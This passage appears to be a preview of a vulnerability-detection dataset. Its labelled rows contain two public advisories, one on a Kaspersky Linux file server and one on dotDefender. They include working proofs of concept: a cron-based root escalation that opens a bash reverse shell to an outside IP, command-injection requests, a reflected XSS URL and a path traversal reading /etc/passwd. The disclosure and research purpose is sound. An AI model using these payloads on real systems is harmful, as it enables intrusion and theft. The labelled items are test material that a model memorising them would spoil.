kluser.<NEWLINE>Payload:<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE><double<underscore>quote>notifier<double<underscore>quote>: {<double<underscore>quote>Actions<double<underscore>quote>: [{<double<underscore>quote>Command<double<underscore>quote>: <double<underscore>quote>touch <slash>tmp<slash>pepperoni<double<underscore>quote>,<NEWLINE><double<underscore>quote>EventName<double<underscore>quote>: 22, <double<underscore>quote>Enable<double<underscore>quote>: true, <double<underscore>quote><underscore><underscore>VersionInfo<double<underscore>quote>: <double<underscore>quote>1 0<double<underscore>quote>}]<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>Request:<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>POST <slash>cgi<hyphen>bin<slash>cgictl?action=setTaskSettings HTTP<slash>1.1<NEWLINE>Host: <server IP>:9080<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (X11; Ubuntu; Linux x86<underscore>64; rv:52.0)<NEWLINE>Gecko<slash>20100101 Firefox<slash>52.0<NEWLINE>Accept: application<slash>json, text<slash>javascript, *<slash>*<NEWLINE>Accept<hyphen>Language: en<hyphen>US,en;q=0.5<NEWLINE>Content<hyphen>Type: application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded<NEWLINE>Referer: http:<slash><slash><server IP>:9080<slash><NEWLINE>Content<hyphen>Length: 3273<NEWLINE>Cookie: wmc<underscore>useWZRDods=true; wmc<underscore>sid=690DE0005C5625A420255EFEBB3349F7;<NEWLINE>wmc<underscore>full<underscore>stat=1;<NEWLINE>wmc<underscore>logsSimpleMode=1;<NEWLINE>wmc<underscore>backupSimpleMode=1; wmc<underscore>quaSimpleMode=1;<NEWLINE>wmc<underscore>iconsole<underscore>lang=resource<underscore>en.js;<NEWLINE>wmc<underscore>show<underscore>settings<underscore>descr=false;<NEWLINE>iconsole<underscore>test; wmc<underscore>show<underscore>licence<underscore>descr=false<NEWLINE>Connection: close<NEWLINE>taskId=7&<NEWLINE>settings=%7B%22ctime%22%3A%201490796963%2C%20%22notifier%22%3A%20%7B%22Actions%22%3A%20%5B%7B%22Command%22%3A%20%22touch%20%2Ftmp%2Fpepperoni%22%2C%20%22EventName%22%3A%2022%2C%20%22Enable%22%3A%20true%2C%20%22<underscore><underscore>VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22CommonSmtpSettings%22%3A%20%7B%22DefaultRecipients%22%3A%20%5B%5D%2C%20%22InternalMailerSettings%22%3A%20%7B%22ConnectionTimeout%22%3A%2010%2C%20%22SmtpPort%22%3A%2025%2C%20%22SmtpQueueFolder%22%3A%20%22%2Fvar%2Fopt%2Fkaspersky%2Fkav4fs%2Fdb%2Fnotifier%22%2C%20%22SmtpServer%22%3A%20%22%22%2C%20%22<underscore><underscore>VersionInfo%22%3A%20%221%200%22%7D%2C%20%22Mailer%22%3A%20%221%22%2C%20%22Sender%22%3A%20%22%22%2C%20%22SendmailPath%22%3A%20%22%2Fusr%2Fsbin%2Fsendmail%20<hyphen>t%20<hyphen>i%22%2C%20%22<underscore><underscore>VersionInfo%22%3A%20%221%200%22%7D%2C%20%22EnableActions%22%3A%20true%2C%20%22EnableSmtp%22%3A%20false%2C%20%22SmtpNotifies%22%3A%20%5B%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%201%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Anti<hyphen>Virus%20started%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22<underscore><underscore>VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%206%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22License%20error%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22<underscore><underscore>VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%207%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Databases%20updated%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22<underscore><underscore>VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22<underscore><underscore>VersionInfo%22%3A%20%221%200%22%7D%2C%20%22snmp%22%3A%20%7B%22MasterAgentXAddress%22%3A%20%22tcp%3Alocalhost%3A705%22%2C%20%22PingInterval%22%3A%2015%2C%20%22TrapSuite%22%3A%20%7B%22AVBasesAppliedEventEnable%22%3A%20true%2C%20%22AVBasesAreOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAreTotallyOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAttachedEventEnable%22%3A%20true%2C%20%22AVBasesIntegrityCheckFailedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackCompletedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackErrorEventEnable%22%3A%20true%2C%20%22ApplicationSettingsChangedEventEnable%22%3A%20true%2C%20%22ApplicationStartedEventEnable%22%3A%20true%2C%20%22LicenseErrorEventEnable%22%3A%20true%2C%20%22LicenseExpiredEventEnable%22%3A%20true%2C%20%22LicenseExpiresSoonEventEnable%22%3A%20true%2C%20%22LicenseInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotRevokedEventEnable%22%3A%20true%2C%20%22LicenseRevokedEventEnable%22%3A%20true%2C%20%22ModuleNotDownloadedEventEnable%22%3A%20true%2C%20%22NothingToUpdateEventEnable%22%3A%20true%2C%20%22ObjectDeletedEventEnable%22%3A%20true%2C%20%22ObjectDisinfectedEventEnable%22%3A%20true%2C%20%22ObjectSavedToBackupEventEnable%22%3A%20true%2C%20%22ObjectSavedToQuarantineEventEnable%22%3A%20true%2C%20%22RetranslationErrorEventEnable%22%3A%20true%2C%20%22TaskStateChangedEventEnable%22%3A%20true%2C%20%22ThreatDetectedEventEnable%22%3A%20true%2C%20%22UpdateErrorEventEnable%22%3A%20true%2C%20%22<underscore><underscore>VersionInfo%22%3A%20%221%200%22%7D%2C%20%22TrapsEnable%22%3A%20true%2C%20%22<underscore><underscore>VersionInfo%22%3A%20%221%200%22%7D%7D<NEWLINE>&schedule=%7B%7D&skipCtimeCheck=true<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.2. *Privilege escalation due to excessive permissions*<NEWLINE>[CVE<hyphen>2017<hyphen>9811]: The kluser is able to interact with the kav4fs<hyphen>control<NEWLINE>binary. By abusing the quarantine read and write operations, it is<NEWLINE>possible to elevate the privileges to root.<NEWLINE>The following proof<hyphen>of<hyphen>concept script adds a cron job that will be<NEWLINE>executed as root.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE><slash>opt<slash>kaspersky<slash>kav4fs<slash>bin<slash>kav4fs<hyphen>control <hyphen><hyphen>start<hyphen>app<NEWLINE>echo <double<underscore>quote>* * * * * root <slash>tmp<slash>reverse.sh<double<underscore>quote> > <slash>tmp<slash>badcron<NEWLINE>cat > <slash>tmp<slash>reverse.sh << EOF<NEWLINE>bash <hyphen>i >& <slash>dev<slash>tcp<slash>172.16.76.1<slash>8000 0>&1<NEWLINE>EOF<NEWLINE>chmod +x <slash>tmp<slash>reverse.sh<NEWLINE>QUARANTINE<underscore>ID=$(<slash>opt<slash>kaspersky<slash>kav4fs<slash>bin<slash>kav4fs<hyphen>control <hyphen>Q<NEWLINE><hyphen><hyphen>add<hyphen>object <slash>tmp<slash>badcron | cut <hyphen>d<single<underscore>quote>=<single<underscore>quote> <hyphen>f2 | cut <hyphen>d<single<underscore>quote>.<single<underscore>quote> <hyphen>f1)<NEWLINE><slash>opt<slash>kaspersky<slash>kav4fs<slash>bin<slash>kav4fs<hyphen>control <hyphen>Q <hyphen><hyphen>restore $QUARANTINE<underscore>ID<NEWLINE><hyphen><hyphen>file <slash>etc<slash>cron.d<slash>implant<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.3. *Reflected cross<hyphen>site scripting*<NEWLINE>[CVE<hyphen>2017<hyphen>9813]: The scriptName parameter of the licenseKeyInfo action<NEWLINE>method is vulnerable to cross<hyphen>site scripting.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>http:<slash><slash><server<NEWLINE>IP>:9080<slash>cgi<hyphen>bin<slash>cgictl?action=licenseKeyInfo&do<underscore>action=licenseKeyInfo&scriptName=<<slash>script><img+src%3dx+onerror%3d<double<underscore>quote>alert(1)<double<underscore>quote>%3b<slash>>&active=&licenseKey=bla<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>7.4. *Path traversal*<NEWLINE>[CVE<hyphen>2017<hyphen>9812]: The reportId parameter of the getReportStatus action<NEWLINE>method can be abused to read arbitrary files with kluser privileges.<NEWLINE>The following proof<hyphen>of<hyphen>concept reads the <slash>etc<slash>passwd file.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>GET<NEWLINE><slash>cgi<hyphen>bin<slash>cgictl?action=getReportStatus&reportId=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00<NEWLINE>HTTP<slash>1.1<NEWLINE>Host: <server IP>:9080<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (X11; Ubuntu; Linux x86<underscore>64; rv:52.0)<NEWLINE>Gecko<slash>20100101 Firefox<slash>52.0<NEWLINE>Accept: application<slash>json, text<slash>javascript, *<slash>*<NEWLINE>Accept<hyphen>Language: en<hyphen>US,en;q=0.5<NEWLINE>Referer: http:<slash><slash><server IP>:9080<slash><NEWLINE>Cookie: iconsole<underscore>test; wmc<underscore>useWZRDods=true;<NEWLINE>wmc<underscore>sid=99E61AFCD3EC96F5E349AB439DAE46C4; wmc<underscore>full<underscore>stat=1;<NEWLINE>wmc<underscore>logsSimpleMode=1; wmc<underscore>backupSimpleMode=0; wmc<underscore>quaSimpleMode=1;<NEWLINE>wmc<underscore>iconsole<underscore>lang=resource<underscore>en.js<NEWLINE>Connection: close<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><slash><NEWLINE>8. *Report Timeline*<NEWLINE>. 2017<hyphen>04<hyphen>03: Core Security sent an initial notification to Kaspersky,<NEWLINE>including a draft advisory.<NEWLINE>. 2017<hyphen>04<hyphen>03: Kaspersky confirmed reception of advisory and informed<NEWLINE>they will submit it to the relevant technical team for validation and<NEWLINE>replication.<NEWLINE>. 2017<hyphen>04<hyphen>06: Kaspersky confirmed they could reproduce three out of<NEWLINE>five reported vulnerabilities and asked us opinion on their<NEWLINE>justifications about mitigating factors on the other two. They also said<NEWLINE>they would inform us about a fix date in a few days.<NEWLINE>. 2017<hyphen>04<hyphen>06: Core Security thanked the confirmation and sent<NEWLINE>justification for one of the vulnerabilities questioned. Core Security<NEWLINE>agreed on removing one reported vulnerability since it can be mitigated<NEWLINE>via a product setting.<NEWLINE>. 2017<hyphen>04<hyphen>25: Kaspersky confirmed the rest of the vulnerabilities<NEWLINE>reported and are working on a fix. They said fixes will be released<NEWLINE><double<underscore>quote>till the June, 30<double<underscore>quote>, and also said will inform us the exact dates by<NEWLINE>the end of June.<NEWLINE>. 2017<hyphen>04<hyphen>25: Core Security thanked the confirmation of the final<NEWLINE>vulnerabilities list and asked for clarification about the release date.<NEWLINE>. 2017<hyphen>04<hyphen>25: Kaspersky clarified they will release the fix by June<NEWLINE>30th and will let us know the exact date by mid June.<NEWLINE>. 2017<hyphen>06<hyphen>19: Kaspersky mentioned they would like to go ahead with the<NEWLINE>publication on June 30th and also asked for CVEs.<NEWLINE>. 2017<hyphen>06<hyphen>19: Core Security answer back proposing advisory publication<NEWLINE>to be July 3rd in order to avoid advisory publication on a Friday. Also<NEWLINE>asked for clarification about a fix dated June 14th found by Core<NEWLINE>Security researchers and whether or not it fixes the vulnerabilities<NEWLINE>reported.<NEWLINE>. 2017<hyphen>06<hyphen>21: Kaspersky answered back stating the fix dated June 14th<NEWLINE>is related to fixes for reported vulnerabilities.<NEWLINE>. 2017<hyphen>06<hyphen>21: Core Security asked if the June 14th patch (ID 13738) is<NEWLINE>fixing *all* the vulnerabilities reported in the current advisory. If<NEWLINE>so Core Security will be releasing the advisory sooner than planned.<NEWLINE>Reminded Kaspersky said they would release the fixes by June 30th.<NEWLINE>. 2017<hyphen>06<hyphen>22: Core Security sent a draft advisory with the final CVE<NEWLINE>IDs for each vulnerability.<NEWLINE>. 2017<hyphen>06<hyphen>23: Kaspersky said they will clarify about patch 13738 ASAP<NEWLINE>and also noted about a typo in the advisory<single<underscore>quote>s timeline.<NEWLINE>. 2017<hyphen>06<hyphen>23: Core Security requested again we need clarification<NEWLINE>around patch 13738 as soon as possible.<NEWLINE>. 2017<hyphen>06<hyphen>26: Core Security reviewed the patch released in June 14th<NEWLINE>and confirmed it addresses all the vulnerabilities reported. Core<NEWLINE>Security informed Kaspersky this advisory will be published as a<NEWLINE>FORCED release on Wednesday 28th.<NEWLINE>. 2017<hyphen>06<hyphen>28: Advisory CORE<hyphen>2017<hyphen>0003 published.<NEWLINE>9. *References*<NEWLINE>[1] https:<slash><slash>www.kaspersky.com<NEWLINE>[2] https:<slash><slash>support.kaspersky.com<slash>linux<underscore>file80<NEWLINE>10. *About CoreLabs*<NEWLINE>CoreLabs, the research center of Core Security, is charged with<NEWLINE>anticipating the future needs and requirements for information security<NEWLINE>technologies.<NEWLINE>We conduct our research in several important areas of computer security<NEWLINE>including system vulnerabilities, cyber attack planning and simulation,<NEWLINE>source code auditing, and cryptography. Our results include problem<NEWLINE>formalization, identification of vulnerabilities, novel solutions and<NEWLINE>prototypes for new technologies.<NEWLINE>CoreLabs regularly publishes security advisories, technical papers,<NEWLINE>project information and shared software tools for public use<NEWLINE>at: http:<slash><slash>corelabs.coresecurity.com.<NEWLINE>11. *About Core Security*<NEWLINE>Courion and Core Security have rebranded the combined company, changing<NEWLINE>its name to Core Security, to reflect the company<single<underscore>quote>s strong commitment to<NEWLINE>providing enterprises with market<hyphen>leading, threat<hyphen>aware, identity,<NEWLINE>access and vulnerability management solutions that enable actionable<NEWLINE>intelligence and context needed to manage security risks across the<NEWLINE>enterprise. Core Security<single<underscore>quote>s analytics<hyphen>driven approach to security<NEWLINE>enables customers to manage access and identify vulnerabilities, in<NEWLINE>order to minimize risks and maintain continuous compliance. Solutions<NEWLINE>include Multi<hyphen>Factor Authentication, Provisioning, Identity Governance<NEWLINE>and Administration (IGA), Identity and Access Intelligence (IAI), and<NEWLINE>Vulnerability Management (VM). The combination of these solutions<NEWLINE>provides context and shared intelligence through analytics, giving<NEWLINE>customers a more comprehensive view of their security posture so they<NEWLINE>can make more informed, prioritized, and better security remediation<NEWLINE>decisions.<NEWLINE>Core Security is headquartered in the USA with offices and operations in<NEWLINE>South America, Europe, Middle East and Asia. To learn more, contact Core<NEWLINE>Security at (678) 304<hyphen>4500 or info@coresecurity.com.<NEWLINE>12. *Disclaimer*<NEWLINE>The contents of this advisory are copyright (c) 2017 Core Security<NEWLINE>and (c) 2017 CoreLabs, and are licensed under a Creative Commons<NEWLINE>Attribution Non<hyphen>Commercial Share<hyphen>Alike 3.0 (United States) License:<NEWLINE>http:<slash><slash>creativecommons.org<slash>licenses<slash>by<hyphen>nc<hyphen>sa<slash>3.0<slash>us<slash><NEWLINE>13. *PGP<slash>GPG Keys*<NEWLINE>This advisory has been signed with the GPG key of Core Security<NEWLINE>advisories team, which is available for download at<NEWLINE>http:<slash><slash>www.coresecurity.com<slash>files<slash>attachments<slash>core<underscore>security<underscore>advisories.asc. | 1 |
please judge the source code for vulnerabilities. | Problem Description<NEWLINE>===================<NEWLINE>A remote command execution vulnerability exists in the dotDefender<NEWLINE>(3.8<hyphen>5) Site Management.<NEWLINE>dotDefender [1] is a web appliaction firewall (WAF) which <single<underscore>quote>prevents<NEWLINE>hackers from attacking your<NEWLINE>website.<single<underscore>quote><NEWLINE>Technical Details<NEWLINE>=================<NEWLINE>The Site Management application of dotDefender is reachable as a web<NEWLINE>application (https:site<slash>dotDefender<slash>)<NEWLINE>on the webserver. After passing the Basic Auth login you can<NEWLINE>create<slash>delete applications.<NEWLINE>The mentioned vulnerability is in the <single<underscore>quote>deletesite<single<underscore>quote> implementation and<NEWLINE>the <single<underscore>quote>deletesitename<single<underscore>quote> variable.<NEWLINE>Insufficient input validation allows an attacker to inject arbitrary commands.<NEWLINE>Delete Site<NEWLINE>===========<NEWLINE>A normal delete transaction looks as follow:<NEWLINE>POST <slash>dotDefender<slash>index.cgi HTTP<slash>1.1<NEWLINE>Host: 172.16.159.132<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (Macintosh; U; Intel Mac OS X 10.6; en<hyphen>US;<NEWLINE>rv:1.9.1.5) Gecko<slash>20091102 Firefox<slash>3.5.5<NEWLINE>Accept: text<slash>html,application<slash>xhtml+xml,application<slash>xml;q=0.9,*<slash>*;q=0.8<NEWLINE>Accept<hyphen>Language: en<hyphen>us,en;q=0.5<NEWLINE>Accept<hyphen>Encoding: gzip,deflate<NEWLINE>Accept<hyphen>Charset: ISO<hyphen>8859<hyphen>1,utf<hyphen>8;q=0.7,*;q=0.7<NEWLINE>Keep<hyphen>Alive: 300<NEWLINE>Connection: keep<hyphen>alive<NEWLINE>Referer: https:<slash><slash>172.16.159.132<slash>dotDefender<slash>index.cgi<NEWLINE>Authorization: Basic YWRtaW46<NEWLINE>Cache<hyphen>Control: max<hyphen>age=0<NEWLINE>Content<hyphen>Type: application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded<NEWLINE>Content<hyphen>Length: 76<NEWLINE>sitename=dotdefeater&deletesitename=dotdefeater&action=deletesite&linenum=14<NEWLINE>An attack looks like:<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><slash>Request<slash><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>POST <slash>dotDefender<slash>index.cgi HTTP<slash>1.1<NEWLINE>Host: 172.16.159.132<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (Macintosh; U; Intel Mac OS X 10.6; en<hyphen>US;<NEWLINE>rv:1.9.1.5) Gecko<slash>20091102 Firefox<slash>3.5.5<NEWLINE>Accept: text<slash>html,application<slash>xhtml+xml,application<slash>xml;q=0.9,*<slash>*;q=0.8<NEWLINE>Accept<hyphen>Language: en<hyphen>us,en;q=0.5<NEWLINE>Accept<hyphen>Encoding: gzip,deflate<NEWLINE>Accept<hyphen>Charset: ISO<hyphen>8859<hyphen>1,utf<hyphen>8;q=0.7,*;q=0.7<NEWLINE>Keep<hyphen>Alive: 300<NEWLINE>Connection: keep<hyphen>alive<NEWLINE>Referer: https:<slash><slash>172.16.159.132<slash>dotDefender<slash>index.cgi<NEWLINE>Authorization: Basic YWRtaW46<NEWLINE>Cache<hyphen>Control: max<hyphen>age=0<NEWLINE>Content<hyphen>Type: application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded<NEWLINE>Content<hyphen>Length: 95<NEWLINE>sitename=dotdefeater&deletesitename=dotdefeater;id;ls <hyphen>al<NEWLINE>..<slash>;pwd;&action=deletesite&linenum=15<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><slash>Response<slash><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>[...]<NEWLINE>uid=33(www<hyphen>data) gid=33(www<hyphen>data) groups=33(www<hyphen>data)<NEWLINE>total 12<NEWLINE>drwxr<hyphen>xr<hyphen>x 3 root root 4096 Nov 23 02:37 .<NEWLINE>drwxr<hyphen>xr<hyphen>x 9 root root 4096 Nov 23 02:37 ..<NEWLINE>drwxr<hyphen>xr<hyphen>x 7 www<hyphen>data 99 4096 Nov 23 07:11 admin<NEWLINE><slash>usr<slash>local<slash>APPCure<hyphen>full<slash>lib<slash>admin<NEWLINE>uid=33(www<hyphen>data) gid=33(www<hyphen>data) groups=33(www<hyphen>data)<NEWLINE>total 12<NEWLINE>drwxr<hyphen>xr<hyphen>x 3 root root 4096 Nov 23 02:37 .<NEWLINE>drwxr<hyphen>xr<hyphen>x 9 root root 4096 Nov 23 02:37 ..<NEWLINE>drwxr<hyphen>xr<hyphen>x 7 www<hyphen>data 99 4096 Nov 23 07:11 admin<NEWLINE><slash>usr<slash>local<slash>APPCure<hyphen>full<slash>lib<slash>admin<NEWLINE>uid=33(www<hyphen>data) gid=33(www<hyphen>data) groups=33(www<hyphen>data)<NEWLINE>total 12<NEWLINE>drwxr<hyphen>xr<hyphen>x 3 root root 4096 Nov 23 02:37 .<NEWLINE>drwxr<hyphen>xr<hyphen>x 9 root root 4096 Nov 23 02:37 ..<NEWLINE>drwxr<hyphen>xr<hyphen>x 7 www<hyphen>data 99 4096 Nov 23 07:11 admin<NEWLINE><slash>usr<slash>local<slash>APPCure<hyphen>full<slash>lib<slash>admin<NEWLINE>uid=33(www<hyphen>data) gid=33(www<hyphen>data) groups=33(www<hyphen>data)<NEWLINE>total 12<NEWLINE>drwxr<hyphen>xr<hyphen>x 3 root root 4096 Nov 23 02:37 .<NEWLINE>drwxr<hyphen>xr<hyphen>x 9 root root 4096 Nov 23 02:37 ..<NEWLINE>drwxr<hyphen>xr<hyphen>x 7 www<hyphen>data 99 4096 Nov 23 07:11 admin<NEWLINE><slash>usr<slash>local<slash>APPCure<hyphen>full<slash>lib<slash>admin<NEWLINE>[...]<NEWLINE>Affected Code<NEWLINE>=============<NEWLINE>The affected code (perl) is in index1.cgi of the admin interface:<NEWLINE>311<NEWLINE>312 }elsif($action eq <double<underscore>quote>deletesite<double<underscore>quote>) {<NEWLINE>313 $deletesitename=$postFields{<double<underscore>quote>deletesitename<double<underscore>quote>};<NEWLINE>314 $dots<underscore>index = index($deletesitename,<double<underscore>quote>%3A<double<underscore>quote>);<NEWLINE>315<NEWLINE>316 if($dots<underscore>index != <hyphen>1 ) {<NEWLINE>317 $site<underscore>a<underscore>part= substr($deletesitename,0,$dots<underscore>index);<NEWLINE>318 $site<underscore>b<underscore>part=<NEWLINE>substr($deletesitename,$dots<underscore>index+3,length($deletesitename)<hyphen>$dots<underscore>index<hyphen>2);<NEWLINE>319 $site<underscore>a<underscore>part=&cleanIt($site<underscore>a<underscore>part);<NEWLINE>320 $site<underscore>b<underscore>part=&cleanIt($site<underscore>b<underscore>part);<NEWLINE>321 $deletesitename = $site<underscore>a<underscore>part.<double<underscore>quote>:<double<underscore>quote>.$site<underscore>b<underscore>part;<NEWLINE>322 }<NEWLINE>323<NEWLINE>324 $linenum=$postFields{<single<underscore>quote>linenum<single<underscore>quote>};<NEWLINE>325 applyDbAudit($action);<NEWLINE>326 &delline($linenum,2);<NEWLINE>327 cleanSiteFingerPrints($deletesitename);<NEWLINE>328<NEWLINE>329 &deleteSiteConf($deletesitename);<NEWLINE>330 $site<underscore>params=<double<underscore>quote>$CTMP<underscore>DIR<slash><double<underscore>quote>.$deletesitename.<double<underscore>quote><underscore>params<double<underscore>quote>;<NEWLINE>331 system(<double<underscore>quote>rm <hyphen>f $site<underscore>params<double<underscore>quote>);<NEWLINE>And applicure<hyphen>lib2.pl:<NEWLINE>13 sub cleanIt {<NEWLINE>14 my($param,$type)=@<underscore>;<NEWLINE>15<NEWLINE>16 $param =~ s<slash>%([a<hyphen>fA<hyphen>F0<hyphen>9]{2})<slash>pack <double<underscore>quote>H2<double<underscore>quote>, $1<slash>eg;<NEWLINE>17 if ($type eq <single<underscore>quote>any<single<underscore>quote>) {<NEWLINE>18 } elsif ($type eq <single<underscore>quote>filter<single<underscore>quote>) {<NEWLINE>19 $param =~ s<slash><backslash>+<slash><double<underscore>quote> <double<underscore>quote><slash>eg;<NEWLINE>20 } elsif ($type eq <single<underscore>quote>path<single<underscore>quote>) {<NEWLINE>21 $param = un<underscore>urlize($param);<NEWLINE>22<NEWLINE>23<NEWLINE>24 } else {<NEWLINE>25 $param =~ s<slash>([^A<hyphen>Za<hyphen>z0<hyphen>9<backslash><hyphen><underscore>.~<single<underscore>quote>])<slash><slash>g;<NEWLINE>26 }<NEWLINE>27 return $param;<NEWLINE>28 }<NEWLINE>Here one can see that certain shell control characters are not<NEWLINE>protected by the call to cleanIt. Thus an attacker<NEWLINE>can gain control of the system call in line 331 of index1.cgi. | 1 |
End of preview. Expand
in Data Studio
README.md exists but content is empty.
- Downloads last month
- 18